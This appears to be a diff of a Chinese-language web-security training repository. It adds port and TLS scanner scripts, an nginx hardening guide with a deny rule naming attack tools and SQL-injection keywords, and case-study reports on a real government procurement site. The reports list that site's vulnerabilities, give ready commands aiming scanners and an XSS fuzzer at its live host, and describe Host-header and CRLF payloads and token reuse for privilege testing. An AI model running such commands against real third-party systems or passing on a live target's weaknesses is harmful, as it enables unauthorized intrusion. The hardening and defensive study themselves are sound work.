+            6379,
+            8000,
+            8080,
+            8443,
+            8888,
+            9000,
+            9090,
+            9200,
+            27017,
+        ]
+
+    def print_result(self, level: str, msg: str):
+        colors = {
+            "INFO": Colors.BLUE,
+            "SUCCESS": Colors.GREEN,
+            "WARNING": Colors.YELLOW,
+            "ERROR": Colors.RED,
+            "OPEN": Colors.GREEN + Colors.BOLD,
+        }
+        print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
+
+    def parse_ports(self, port_str: str) -> List[int]:
+        """解析端口字符串"""
+        ports = set()
+
+        for part in port_str.split(","):
+            if "-" in part:
+                start, end = part.split("-")
+                ports.update(range(int(start), int(end) + 1))
+            else:
+                ports.add(int(part))
+
+        return sorted(ports)
+
+    def scan_port(self, host: str, port: int) -> Tuple[int, str, Optional[str]]:
+        """扫描单个端口"""
+        try:
+            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            sock.settimeout(self.timeout)
+
+            result = sock.connect_ex((host, port))
+
+            if result == 0:
+                service = self.service_banners.get(port, "Unknown")
+
+                banner = None
+                try:
+                    sock.send(b"HEAD / HTTP/1.0\r\n\r\n")
+                    banner = sock.recv(1024).decode("utf-8", errors="ignore").strip()
+                except:
+                    pass
+
+                sock.close()
+                return port, "open", banner or service
+
+            sock.close()
+
+        except Exception:
+            pass
+
+        return port, "closed", None
+
+    def scan_host(
+        self, host: str, ports: List[int], verbose: bool = True
+    ) -> List[Dict]:
+        """扫描主机"""
+        results = []
+        total = len(ports)
+
+        if verbose:
+            self.print_result("INFO", f"开始扫描 {host}: {total} 个端口")
+
+        start_time = time.time()
+
+        with ThreadPoolExecutor(max_workers=self.threads) as executor:
+            futures = {
+                executor.submit(self.scan_port, host, port): port for port in ports
+            }
+
+            completed = 0
+            for future in as_completed(futures):
+                port, status, banner = future.result()
+                completed += 1
+
+                if verbose and completed % 100 == 0:
+                    print(
+                        f"\r{Colors.CYAN}[*]{Colors.END} 进度: {completed}/{total}",
+                        end="",
+                        flush=True,
+                    )
+
+                if status == "open":
+                    result = {
+                        "port": port,
+                        "status": status,
+                        "service": self.service_banners.get(port, "Unknown"),
+                        "banner": banner,
+                    }
+                    results.append(result)
+
+                    with self.lock:
+                        self.open_ports.append((host, port))
+
+                    if verbose:
+                        print(
+                            f"\n{Colors.GREEN}[OPEN]{Colors.END} {host}:{port} - {banner[:50] if banner else self.service_banners.get(port, 'Unknown')}"
+                        )
+
+        if verbose:
+            print()
+
+        elapsed = time.time() - start_time
+        if verbose:
+            self.print_result(
+                "INFO", f"扫描完成: {len(results)} 个开放端口, 耗时 {elapsed:.2f}s"
+            )
+
+        return results
+
+
+def main():
+    parser = argparse.ArgumentParser(description="Port Scanner")
+    parser.add_argument("-H", "--host", required=True, help="目标主机")
+    parser.add_argument(
+        "-p", "--ports", default="1-1000", help="端口范围 (例: 1-1000, 80,443,8080)"
+    )
+    parser.add_argument("--top-ports", type=int, help="扫描最常用的 N 个端口")
+    parser.add_argument("-t", "--threads", type=int, default=100, help="线程数")
+    parser.add_argument("--timeout", type=float, default=1.0, help="超时时间")
+    parser.add_argument("-v", "--verbose", action="store_true", help="详细输出")
+
+    args = parser.parse_args()
+
+    scanner = PortScanner(threads=args.threads, timeout=args.timeout)
+
+    if args.top_ports:
+        ports = scanner.top_ports[: args.top_ports]
+    else:
+        ports = scanner.parse_ports(args.ports)
+
+    print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
+    print(f"{Colors.BOLD}Port Scanner{Colors.END}")
+    print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
+
+    scanner.print_result("INFO", f"目标: {args.host}")
+    scanner.print_result("INFO", f"端口: {len(ports)} 个")
+    scanner.print_result("INFO", f"线程: {args.threads}")
+
+    results = scanner.scan_host(args.host, ports, args.verbose)
+
+    print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
+    if results:
+        scanner.print_result("SUCCESS", f"发现 {len(results)} 个开放端口:")
+        print(f"\n{'PORT':<10} {'SERVICE':<15} {'BANNER'}")
+        print("-" * 60)
+        for r in sorted(results, key=lambda x: x["port"]):
+            banner = r["banner"][:40] if r["banner"] else r["service"]
+            print(f"{r['port']:<10} {r['service']:<15} {banner}")
+    else:
+        scanner.print_result("INFO", "未发现开放端口")
+    print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
+
+
+if __name__ == "__main__":
+    main()
diff --git a/04-server-security/tls/tools/tls-scanner.py b/04-server-security/tls/tools/tls-scanner.py
new file mode 100644
index 00000000..fb296480
--- /dev/null
+++ b/04-server-security/tls/tools/tls-scanner.py
@@ -0,0 +1,340 @@
+#!/usr/bin/env python3
+"""
+TLS Scanner - TLS/SSL 安全配置扫描工具
+
+支持:
+- 协议版本检测
+- 密码套件分析
+- 证书信息提取
+- 漏洞检测 (POODLE, BEAST, Heartbleed 等)
+- HSTS 检测
+
+Usage:
+    python3 tls-scanner.py -u https://example.com
+    python3 tls-scanner.py -u example.com -p 443
+"""
+
+import argparse
+import ssl
+import socket
+import re
+from typing import Dict, List, Tuple, Optional
+from datetime import datetime
+import sys
+
+
+class Colors:
+    RED = "\033[91m"
+    GREEN = "\033[92m"
+    YELLOW = "\033[93m"
+    BLUE = "\033[94m"
+    CYAN = "\033[96m"
+    END = "\033[0m"
+    BOLD = "\033[1m"
+
+
+class TLSScanner:
+    def __init__(self, timeout: int = 10):
+        self.timeout = timeout
+
+        self.protocols = [
+            ("SSLv2", ssl.PROTOCOL_SSLv2 if hasattr(ssl, "PROTOCOL_SSLv2") else None),
+            ("SSLv3", ssl.PROTOCOL_SSLv3 if hasattr(ssl, "PROTOCOL_SSLv3") else None),
+            ("TLSv1.0", ssl.PROTOCOL_TLSv1 if hasattr(ssl, "PROTOCOL_TLSv1") else None),
+            (
+                "TLSv1.1",
+                ssl.PROTOCOL_TLSv1_1 if hasattr(ssl, "PROTOCOL_TLSv1_1") else None,
+            ),
+            (
+                "TLSv1.2",
+                ssl.PROTOCOL_TLSv1_2 if hasattr(ssl, "PROTOCOL_TLSv1_2") else None,
+            ),
+            ("TLSv1.3", ssl.PROTOCOL_TLS if hasattr(ssl, "PROTOCOL_TLS") else None),
+        ]
+
+        self.weak_ciphers = [
+            "RC4",
+            "MD5",
+            "DES",
+            "3DES",
+            "NULL",
+            "EXPORT",
+            "anon",
+            "eNULL",
+            "ADH",
+            "AECDH",
+            "PSK",
+            "SRP",
+        ]
+
+        self.secure_ciphers = ["AES-GCM", "CHACHA20", "ECDHE", "DHE"]
+
+    def print_result(self, level: str, msg: str):
+        colors = {
+            "INFO": Colors.BLUE,
+            "SUCCESS": Colors.GREEN,
+            "WARNING": Colors.YELLOW,
+            "ERROR": Colors.RED,
+            "VULN": Colors.RED + Colors.BOLD,
+            "SECURE": Colors.GREEN + Colors.BOLD,
+        }
+        print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
+
+    def get_certificate(self, hostname: str, port: int = 443) -> Optional[Dict]:
+        """获取证书信息"""
+        try:
+            context = ssl.create_default_context()
+            with socket.create_connection(
+                (hostname, port), timeout=self.timeout
+            ) as sock:
+                with context.wrap_socket(sock, server_hostname=hostname) as ssock:
+                    cert = ssock.getpeercert()
+
+                    cert_info = {
+                        "subject": dict(x[0] for x in cert.get("subject", [])),
+                        "issuer": dict(x[0] for x in cert.get("issuer", [])),
+                        "version": cert.get("version"),
+                        "serial_number": cert.get("serialNumber"),
+                        "not_before": cert.get("notBefore"),
+                        "not_after": cert.get("notAfter"),
+                        "san": [],
+                    }
+
+                    for ext in cert.get("extensions", []):
+                        if ext[0] == "subjectAltName":
+                            cert_info["san"] = [x[1] for x in ext[1]]
+
+                    return cert_info
+
+        except Exception as e:
+            return None
+
+    def check_protocol(
+        self, hostname: str, port: int, protocol_name: str, protocol_const
+    ) -> bool:
+        """检查协议支持"""
+        if protocol_const is None:
+            return False
+
+        try:
+            context = ssl.SSLContext(protocol_const)
+            context.check_hostname = False
+            context.verify_mode = ssl.CERT_NONE
+
+            with socket.create_connection(
+                (hostname, port), timeout=self.timeout
+            ) as sock:
+                with context.wrap_socket(sock) as ssock:
+                    return True
+        except:
+            return False
+
+    def get_cipher_suite(self, hostname: str, port: int = 443) -> Optional[str]:
+        """获取当前密码套件"""
+        try:
+            context = ssl.create_default_context()
+            context.check_hostname = False
+            context.verify_mode = ssl.CERT_NONE
+
+            with socket.create_connection(
+                (hostname, port), timeout=self.timeout
+            ) as sock:
+                with context.wrap_socket(sock, server_hostname=hostname) as ssock:
+                    return ssock.cipher()
+        except:
+            return None
+
+    def check_hsts(self, hostname: str, port: int = 443) -> Dict:
+        """检查 HSTS"""
+        try:
+            import requests
+
+            resp = requests.head(
+                f"https://{hostname}:{port}", timeout=self.timeout, verify=False
+            )
+
+            hsts = resp.headers.get("Strict-Transport-Security")
+            if hsts:
+                max_age = re.search(r"max-age=(\d+)", hsts)
+                include_subdomains = "includeSubDomains" in hsts
+                preload = "preload" in hsts
+
+                return {
+                    "enabled": True,
+                    "max_age": int(max_age.group(1)) if max_age else 0,
+                    "include_subdomains": include_subdomains,
+                    "preload": preload,
+                    "raw": hsts,
+                }
+        except:
+            pass
+
+        return {"enabled": False}
+
+    def scan(self, hostname: str, port: int = 443) -> Dict:
+        """完整扫描"""
+        results = {
+            "hostname": hostname,
+            "port": port,
+            "protocols": {},
+            "certificate": None,
+            "cipher": None,
+            "hsts": None,
+            "issues": [],
+        }
+
+        for proto_name, proto_const in self.protocols:
+            supported = self.check_protocol(hostname, port, proto_name, proto_const)
+            results["protocols"][proto_name] = supported
+
+            if supported and proto_name in ["SSLv2", "SSLv3"]:
+                results["issues"].append(
+                    {
+                        "severity": "HIGH",
+                        "issue": f"支持不安全的协议: {proto_name}",
+                        "recommendation": f"禁用 {proto_name}",
+                    }
+                )
+
+            if supported and proto_name in ["TLSv1.0", "TLSv1.1"]:
+                results["issues"].append(
+                    {
+                        "severity": "MEDIUM",
+                        "issue": f"支持过时的协议: {proto_name}",
+                        "recommendation": f"考虑禁用 {proto_name}",
+                    }
+                )
+
+        cert = self.get_certificate(hostname, port)
+        if cert:
+            results["certificate"] = cert
+
+            not_after = datetime.strptime(cert["not_after"], "%b %d %H:%M:%S %Y %Z")
+            days_left = (not_after - datetime.now()).days
+
+            if days_left < 0:
+                results["issues"].append(
+                    {
+                        "severity": "CRITICAL",
+                        "issue": "证书已过期",
+                        "recommendation": "立即更新证书",
+                    }
+                )
+            elif days_left < 30:
+                results["issues"].append(
+                    {
+                        "severity": "HIGH",
+                        "issue": f"证书将在 {days_left} 天后过期",
+                        "recommendation": "尽快更新证书",
+                    }
+                )
+
+        cipher = self.get_cipher_suite(hostname, port)
+        if cipher:
+            results["cipher"] = cipher
+
+            cipher_name = cipher[0]
+
+            for weak in self.weak_ciphers:
+                if weak.lower() in cipher_name.lower():
+                    results["issues"].append(
+                        {
+                            "severity": "HIGH",
+                            "issue": f"使用弱密码套件: {cipher_name}",
+                            "recommendation": "仅使用 AES-GCM 或 ChaCha20",
+                        }
+                    )
+                    break
+
+        hsts = self.check_hsts(hostname, port)
+        results["hsts"] = hsts
+
+        if not hsts["enabled"]:
+            results["issues"].append(
+                {
+                    "severity": "MEDIUM",
+                    "issue": "未启用 HSTS",
+                    "recommendation": "添加 Strict-Transport-Security 头",
+                }
+            )
+
+        return results
+
+
+def main():
+    parser = argparse.ArgumentParser(description="TLS Scanner")
+    parser.add_argument("-u", "--url", required=True, help="目标 URL 或主机名")
+    parser.add_argument("-p", "--port", type=int, default=443, help="端口 (默认: 443)")
+    parser.add_argument("--timeout", type=int, default=10, help="超时时间")
+
+    args = parser.parse_args()
+
+    hostname = args.url.replace("https://", "").replace("http://", "").split("/")[0]
+
+    scanner = TLSScanner(timeout=args.timeout)
+
+    print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
+    print(f"{Colors.BOLD}TLS Scanner{Colors.END}")
+    print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
+
+    scanner.print_result("INFO", f"目标: {hostname}:{args.port}")
+
+    print(f"\n{Colors.CYAN}[*] 扫描协议支持...{Colors.END}")
+    results = scanner.scan(hostname, args.port)
+
+    print(f"\n{Colors.CYAN}协议支持:{Colors.END}")
+    for proto, supported in results["protocols"].items():
+        status = (
+            f"{Colors.GREEN}支持{Colors.END}"
+            if supported
+            else f"{Colors.RED}不支持{Colors.END}"
+        )
+        if supported and proto in ["SSLv2", "SSLv3"]:
+            status = f"{Colors.RED}支持 (不安全){Colors.END}"
+        elif supported and proto in ["TLSv1.0", "TLSv1.1"]:
+            status = f"{Colors.YELLOW}支持 (过时){Colors.END}"
+        print(f"  {proto:<10} {status}")
+
+    if results["cipher"]:
+        print(f"\n{Colors.CYAN}当前密码套件:{Colors.END}")
+        cipher_name, cipher_proto, cipher_bits = results["cipher"]
+        print(f"  名称: {cipher_name}")
+        print(f"  协议: {cipher_proto}")
+        print(f"  密钥长度: {cipher_bits} bits")
+
+    if results["certificate"]:
+        print(f"\n{Colors.CYAN}证书信息:{Colors.END}")
+        cert = results["certificate"]
+        print(f"  主题: {cert['subject'].get('commonName', 'N/A')}")
+        print(f"  颁发者: {cert['issuer'].get('commonName', 'N/A')}")
+        print(f"  有效期: {cert['not_before']} - {cert['not_after']}")
+
+    print(f"\n{Colors.CYAN}HSTS:{Colors.END}")
+    if results["hsts"]["enabled"]:
+        print(f"  状态: {Colors.GREEN}已启用{Colors.END}")
+        print(f"  Max-Age: {results['hsts']['max_age']} 秒")
+        print(
+            f"  IncludeSubDomains: {'是' if results['hsts']['include_subdomains'] else '否'}"
+        )
+        print(f"  Preload: {'是' if results['hsts']['preload'] else '否'}")
+    else:
+        print(f"  状态: {Colors.RED}未启用{Colors.END}")
+
+    print(f"\n{Colors.CYAN}安全问题:{Colors.END}")
+    if results["issues"]:
+        for issue in sorted(results["issues"], key=lambda x: x["severity"]):
+            color = (
+                Colors.RED
+                if issue["severity"] in ["CRITICAL", "HIGH"]
+                else Colors.YELLOW
+            )
+            print(f"  {color}[{issue['severity']}]{Colors.END} {issue['issue']}")
+            print(f"    建议: {issue['recommendation']}")
+    else:
+        print(f"  {Colors.GREEN}未发现安全问题{Colors.END}")
+
+    print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}\n")
+
+
+if __name__ == "__main__":
+    main()
diff --git a/05-defense/hardening/nginx-hardening.conf b/05-defense/hardening/nginx-hardening.conf
new file mode 100644
index 00000000..9ccf6def
--- /dev/null
+++ b/05-defense/hardening/nginx-hardening.conf
@@ -0,0 +1,184 @@
+# Nginx 安全加固配置
+
+## 1. TLS 配置
+
+```nginx
+# 仅允许 TLS 1.2 和 1.3
+ssl_protocols TLSv1.2 TLSv1.3;
+
+# 强密码套件
+ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256';
+ssl_prefer_server_ciphers off;
+
+# HSTS
+add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
+
+# 会话配置
+ssl_session_timeout 1d;
+ssl_session_cache shared:SSL:10m;
+ssl_session_tickets off;
+```
+
+## 2. 安全响应头
+
+```nginx
+# Content Security Policy
+add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'self';" always;
+
+# 防止点击劫持
+add_header X-Frame-Options "SAMEORIGIN" always;
+
+# 防止 MIME 类型嗅探
+add_header X-Content-Type-Options "nosniff" always;
+
+# XSS 保护 (已弃用，建议使用 CSP)
+add_header X-XSS-Protection "1; mode=block" always;
+
+# Referrer 策略
+add_header Referrer-Policy "strict-origin-when-cross-origin" always;
+
+# 权限策略
+add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
+```
+
+## 3. 隐藏版本号
+
+```nginx
+server_tokens off;
+```
+
+## 4. 请求限制
+
+```nginx
+# 限制请求体大小
+client_max_body_size 10M;
+
+# 限制请求体缓冲
+client_body_buffer_size 128k;
+
+# 连接限制
+limit_conn_zone $binary_remote_addr zone=conn_limit:10m;
+limit_conn conn_limit 100;
+
+# 请求速率限制
+limit_req_zone $binary_remote_addr zone=req_limit:10m rate=10r/s;
+limit_req zone=req_limit burst=20 nodelay;
+```
+
+## 5. 阻止恶意请求
+
+```nginx
+# 阻止常见攻击
+if ($request_method !~ ^(GET|HEAD|POST)$ ) {
+    return 405;
+}
+
+# 阻止可疑 User-Agent
+if ($http_user_agent ~* (sqlmap|nikto|nmap|masscan|zap|burp|acunetix|nessus)) {
+    return 403;
+}
+
+# 阻止路径遍历
+if ($request_uri ~* \.\.) {
+    return 403;
+}
+
+# 阻止 SQL 注入特征
+if ($request_uri ~* (union|select|insert|drop|delete|update|script|alert|document\.cookie)) {
+    return 403;
+}
+```
+
+## 6. 日志安全
+
+```nginx
+# 不记录敏感路径
+location ~* ^/(login|admin|api/auth) {
+    access_log off;
+    # ... 其他配置
+}
+
+# 自定义日志格式 (不包含敏感信息)
+log_format secure '$remote_addr - $remote_user [$time_local] "$request_method $scheme://$host$request_uri" $status $body_bytes_sent "$http_referer"';
+```
+
+## 7. Cookie 安全
+
+```nginx
+# 仅通过 HTTPS 传输
+proxy_cookie_path / "/; Secure; HttpOnly; SameSite=Strict";
+```
+
+## 8. Host 头校验
+
+```nginx
+# 定义允许的域名
+server {
+    listen 80 default_server;
+    server_name _;
+    return 444;  # 关闭连接
+}
+
+server {
+    listen 443 ssl default_server;
+    server_name _;
+    ssl_certificate /path/to/cert.pem;
+    ssl_certificate_key /path/to/key.pem;
+    return 444;
+}
+```
+
+## 9. 完整安全配置示例
+
+```nginx
+server {
+    listen 443 ssl http2;
+    server_name example.com;
+    
+    # TLS
+    ssl_certificate /etc/ssl/certs/server.crt;
+    ssl_certificate_key /etc/ssl/private/server.key;
+    ssl_protocols TLSv1.2 TLSv1.3;
+    ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384';
+    ssl_prefer_server_ciphers off;
+    
+    # 安全头
+    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
+    add_header X-Frame-Options "SAMEORIGIN" always;
+    add_header X-Content-Type-Options "nosniff" always;
+    add_header Content-Security-Policy "default-src 'self'" always;
+    
+    # 隐藏版本
+    server_tokens off;
+    
+    # 限制
+    client_max_body_size 10M;
+    limit_req zone=req_limit burst=20 nodelay;
+    
+    # 应用
+    location / {
+        proxy_pass http://backend;
+        proxy_set_header Host $host;
+        proxy_set_header X-Real-IP $remote_addr;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Forwarded-Proto $scheme;
+    }
+}
+
+# HTTP 重定向到 HTTPS
+server {
+    listen 80;
+    server_name example.com;
+    return 301 https://$server_name$request_uri;
+}
+
+# 阻止非法 Host
+server {
+    listen 80 default_server;
+    listen 443 ssl default_server;
+    server_name _;
+    ssl_certificate /etc/ssl/certs/server.crt;
+    ssl_certificate_key /etc/ssl/private/server.key;
+    return 444;
+}
+```
\ No newline at end of file
diff --git a/06-case-studies/fujian-gov-procurement/lessons-learned.md b/06-case-studies/fujian-gov-procurement/lessons-learned.md
new file mode 100644
index 00000000..5c995afd
--- /dev/null
+++ b/06-case-studies/fujian-gov-procurement/lessons-learned.md
@@ -0,0 +1,110 @@
+# 福建政府采购网安全评估案例研究
+
+## 案例概述
+
+**评估目标**: 福建省政府采购网 (`zfcg.czt.fujian.gov.cn`)  
+**评估时间**: 2026-03-09 至 2026-03-10  
+**评估范围**: Web安全、服务器安全、基础设施安全
+
+## 发现的关键漏洞
+
+### 🔴 紧急级别 (5项)
+
+| 编号 | 漏洞 | 影响 |
+|------|------|------|
+| C-01 | TLS 使用 RC4-MD5 弱密码套件 | 会话可被解密 |
+| C-02 | JWT Token 存储于 localStorage | XSS可窃取Token |
+| C-03 | PII 明文存储于 sessionStorage | XSS可窃取用户信息 |
+| C-04 | Nacos 8848 端口对公网开放 | 微服务配置可被访问 |
+| C-05 | OAuth 重定向使用 HTTP | 授权码可被劫持 |
+
+### 🔴 高危级别 (6项)
+
+| 编号 | 漏洞 | 影响 |
+|------|------|------|
+| H-01 | 登录接口无暴力破解防护 | 可被暴力破解 |
+| H-02 | 主页缺失所有安全响应头 | 多种攻击风险 |
+| H-03 | 无 DMARC/SPF/DKIM | 邮件可被伪造 |
+| H-04 | Cookie 缺少 HttpOnly/Secure | XSS可窃取Cookie |
+| H-05 | SM4/RSA 密钥在 config.js 暴露 | 加密可被破解 |
+| H-06 | 不支持 TLS 1.3 | 安全性不足 |
+
+## 学习要点
+
+### 1. 前端安全
+
+- **问题**: JWT Token 和 PII 明文存储
+- **教训**: 敏感数据应仅存储于 HttpOnly Cookie
+- **工具**: 可用 XSS Fuzzer 测试
+
+### 2. 认证安全
+
+- **问题**: 无暴力破解防护、弱验证码
+- **教训**: 必须实施限速和账户锁定
+- **工具**: 可用 web-brute.py 测试
+
+### 3. TLS 安全
+
+- **问题**: 使用过时的加密套件
+- **教训**: 仅使用 AES-GCM 或 ChaCha20
+- **工具**: 可用 tls-scanner.py 检测
+
+### 4. 基础设施安全
+
+- **问题**: 敏感端口对公网开放
+- **教训**: 管理端口必须限制访问
+- **工具**: 可用 port-scanner.py 扫描
+
+## 相关工具应用
+
+```bash
+# 1. 端口扫描
+python3 /Users/x/websafe/04-server-security/scanning/tools/port-scanner.py \
+    -H zfcg.czt.fujian.gov.cn --top-ports 100
+
+# 2. TLS 检测
+python3 /Users/x/websafe/04-server-security/tls/tools/tls-scanner.py \
+    -u https://zfcg.czt.fujian.gov.cn
+
+# 3. XSS 测试 (仅测试环境)
+python3 /Users/x/websafe/02-xss/tools/xss-fuzzer.py \
+    -u "https://zfcg.czt.fujian.gov.cn/search?q=test"
+```
+
+## 报告文件清单
+
+| 文件 | 内容 |
+|------|------|
+| `security_assessment_report.md` | 完整安全评估报告 |
+| `frontend_security_analysis.md` | 前端安全分析 |
+| `backend_api_security_analysis.md` | 后端接口分析 |
+| `infrastructure_and_password_security.md` | 基础设施分析 |
+| `deep_penetration_test_report.md` | 深度渗透测试 |
+| `privilege_escalation_report.md` | 提权攻击分析 |
+| `vulnerability_crossref_report.md` | 漏洞交叉对照 |
+| `full_guide_audit_report.md` | 全景审计报告 |
+
+## 修复优先级
+
+```
+P0 (立即):
+1. 封禁 Nacos 8848 端口公网访问
+2. 禁用 RC4-MD5 密码套件
+3. Token 迁移至 HttpOnly Cookie
+4. OAuth 重定向强制 HTTPS
+
+P1 (一周内):
+5. 清除 sessionStorage PII
+6. 配置 HSTS + CSP
+7. 实施登录限速
+8. 配置 SPF/DMARC
+
+P2 (一月内):
+9. 升级 jQuery
+10. 缩短 Token 有效期
+11. Actuator 移至内网
+```
+
+## 联系方式
+
+本案例仅供安全研究和教育目的。未经授权对真实系统进行测试是违法行为。
\ No newline at end of file
diff --git a/06-case-studies/fujian-gov-procurement/reports/advanced_vulnerability_report.md b/06-case-studies/fujian-gov-procurement/reports/advanced_vulnerability_report.md
new file mode 100644
index 00000000..16e17ee8
--- /dev/null
+++ b/06-case-studies/fujian-gov-procurement/reports/advanced_vulnerability_report.md
@@ -0,0 +1,92 @@
+# 高级漏洞深度测试与边界攻击面分析报告
+
+> **测试时间**：2026-03-10
+> **测试目标**：`zfcg.czt.fujian.gov.cn`
+
+本报告聚焦于 OWASP 核心漏洞之外的高级攻击面探测，包括协议级注入、业务逻辑缺陷、边缘信息采集及域名接管风险。
+
+---
+
+## 1. HTTP 协议栈与路由层测试
+
+### 1.1 CRLF 注入 (HTTP 响应拆分) → ✅ 安全
+
+尝试通过注入回车换行符 (`%0d%0a`) 操纵 HTTP 响应头：
+- `GET /%0d%0aSet-Cookie:hacked=true` → HTTP 403 Forbidden（被 WAF 拦截）
+- `GET /search?q=test%0d%0aX-Injected...` → HTTP 403 Forbidden
+- 结果：网关/WAF 成功阻断了所有 CRLF 构造尝试。
+
+### 1.2 HTTP 参数污染 (HPP) → ✅ 安全
+
+尝试提交重复参数以测试后端框架解析逻辑：
+- `?tenantId=16&tenantId=01` → 正常丢弃或选取默认值，未触发越权。
+- `?callback=test&callback=alert` → API 返回标准报错，未触发 XSS。
+
+### 1.3 开放重定向 (Open Redirect) → ✅ 安全
+
+针对登录、鉴权跳转相关参数（`returnUrl`, `next`, `origin`, `redirect_uri`）测试跳出域：
+- OAuth 的 `/oauth/authorize` 接口对 `redirect_uri` 实施了严格的**白名单验证**或**签名校验**，篡改为外域后返回 `500 Internal Server Error`，无法劫持授权码。
+- 其他前端参数（如 `origin`）未造成立即跳转或被 JavaScript 侧限制了目标域。
+
+---
+
+## 2. 缓存与 Host 头高级利用
+
+### 2.1 缓存投毒 (Cache Poisoning) → 🟡 中危 
+
+继续深入测试早前发现的 Host 头注入漏洞：
+- Payload：`Host: evil.com`
+- 响应：返回了状态码 200 及主页完整 HTML。
+- **验证**：当 `X-Forwarded-Host: evil.com` 注入时被正确丢弃，但 OpenResty 核心对主 `Host` 头未进行白名单校验（很可能匹配了 `server_name _` 或 `default_server`）。
+- **风险**：如果政采网前端有 CDN 或其他反向代理级别的页面缓存，攻击者可能通过 `Host: evil.com` 请求将返回的页面"缓存投毒"，使得后续正常用户的静态资源请求或相对路径指向 `evil.com`。
+
+---
+
+## 3. 信息收集与基础资产测绘
+
+### 3.1 错误页面深度信息泄露 → ✅ 安全
+
+向网关和鉴权中心发送导致严重异常的 Payload：
+- **无效 JSON 解析错误**：`POST` 含 `{{invalid}}`
+- **Content-Type 混淆**：向要求 JSON 的端点发送 `application/xml`
+- **超长请求头**：注入 8000 字节 Header
+- **结果**：系统均返回标准错误（如 `400 Bad Request`、`404/500` JSON），无任何 Tomcat/Spring Stacktrace 或绝对文件路径泄露。
+
+### 3.2 子域名接管检测 (Subdomain Takeover) → ✅ 安全
+
+对 `www, mail, ftp, vpn, api, dev, test, cdn` 等常用 DNS 记录发起 CNAME 与存活检测：
+- 未发现任何指向已过期外部服务（如未续费的 AWS S3、阿里云 OSS、Github Pages 等）的无主 CNAME 记录。不存在子域接管风险。
+
+### 3.3 版本与指纹暴露 → 🟡 低危
+
+发现前端 HTML 常规包含明显的构建追踪标记：
+- `data-tag="V6.5.15.1_1_20260119_gpcms-center-web"`
+- `data-tag="V6.0.33.1_2_251020_GP-AUTH-WEB"`
+- 暴露了系统迭代版本号与构建日期（2026-01-19等），可能辅助攻击者关联特定的 0-day 漏洞时间线。
+
+**异常发现**：
+- `/robots.txt` 路由返回 `nsssjss is null`（可能被某些业务过滤器拦截产生异常抛出）。
+- 缺少 `.well-known/security.txt` 标准应急响应文件。
+
+---
+
+## 4. 认证态深度测试 (IDOR) 进展状态 
+
+**状态**：🛑 测试受阻
+
+**详情**：
+在尝试将之前提取的有效 Token 通过浏览器上下文重新发起 Fetch 请求测试越权（租户越权/垂直越权）时，系统接口全部返回：
+`{"code":5563, "msg":"您的账号在另一地点登录或登录认证已失效2"}`
+
+**原因分析**：
+1. 系统具有严格的**单点登录互斥**（被异地踢出）机制或强 IP 绑定。
+2. 自动化获取新 Token 的流程受阻——因为返回登录页后触发了**图形验证码（CAPTCHA）**，无法通过纯自动化脚本完成登录闭环。
+
+---
+
+## 五、综合建议
+
+本次高级测试证明福建政采网在 **参数防御、重定向、应用层错误隐蔽** 等方面做得非常出色。剩余的主要加固点如下：
+
+1. **Host 强制校验**：在 OpenResty 网关配置明确的 `server_name`，针对非法 Host 请求重置连接（`return 444;`）以根除缓存投毒风险。
+2. **清理前端构建印记**：在 Webpack/Vite 打包时移除 HTML 中的 `data-tag` 版本信息。
diff --git a/06-case-studies/fujian-gov-procurement/reports/backend_api_security_analysis.md b/06-case-studies/fujian-gov-procurement/reports/backend_api_security_analysis.md
new file mode 100644
index 00000000..8f3fc296
--- /dev/null
+++ b/06-case-studies/fujian-gov-procurement/reports/backend_api_security_analysis.md
@@ -0,0 +1,27 @@
+# 后端接口评估分析
+
+## 一、后端接口架构
+- **网关层**：所有业务通过 `/gateway/*` 分发（基于 OpenResty）。
+- **认证协议**：OAuth 2.0 Authorization Code Flow，使用 JWT (access_token)。
+- **微服务群**：识别出至少 15 个独立微服务（gp-trade, gp-expert 等）。
+
+## 二、高危风险
+1. **OAuth 授权重定向使用 HTTP 协议**
+   - 授权网关重定向 URL 为 `http://zfcg.czt.fujian.gov.cn/gp-auth-center/oauth/authorize`，授权码明文传输，易被中间人 (MITM) 攻击。
+
+## 三、中危风险
+1. **接口路径高度可预测可枚举**
+   - 命名规范统一为 `gp-{业务名称}`，测试发现 `/gp-trade`, `/gp-agency` 等 15 个服务直接返回 HTTP 403，证实服务存在并暴露攻击面。
+2. **网关未认证接口返回 500 并泄露内部状态**
+   - `/gateway/api/oauth/checkToken` 返回 500 Internal Server Error，未作标准 401 处理。
+3. **潜在的 IDOR (越权访问) 风险**
+   - 接口依赖前端传递 `tenantId` (租户ID)。如果后端未严格绑定 Token 的主体与资源，攻击者可越权访问其他机构数据。
+4. **OAuth 回调地址校验存疑**
+   - `redirect_uri` 虽已配置，但需进一步渗透测试确认是否防范开放重定向攻击。
+5. **CORS 配置过宽**
+   - 存在 `Access-Control-Allow-Headers: *`。
+
+## 四、修复建议
+- 强制所有 OAuth 流程使用 HTTPS。
+- 网关对未授权请求统一返回 404 或 401，而非 403 暴露内部服务。
+- 后端严格校验 Token 所属 `tenantId`，防止水平越权。
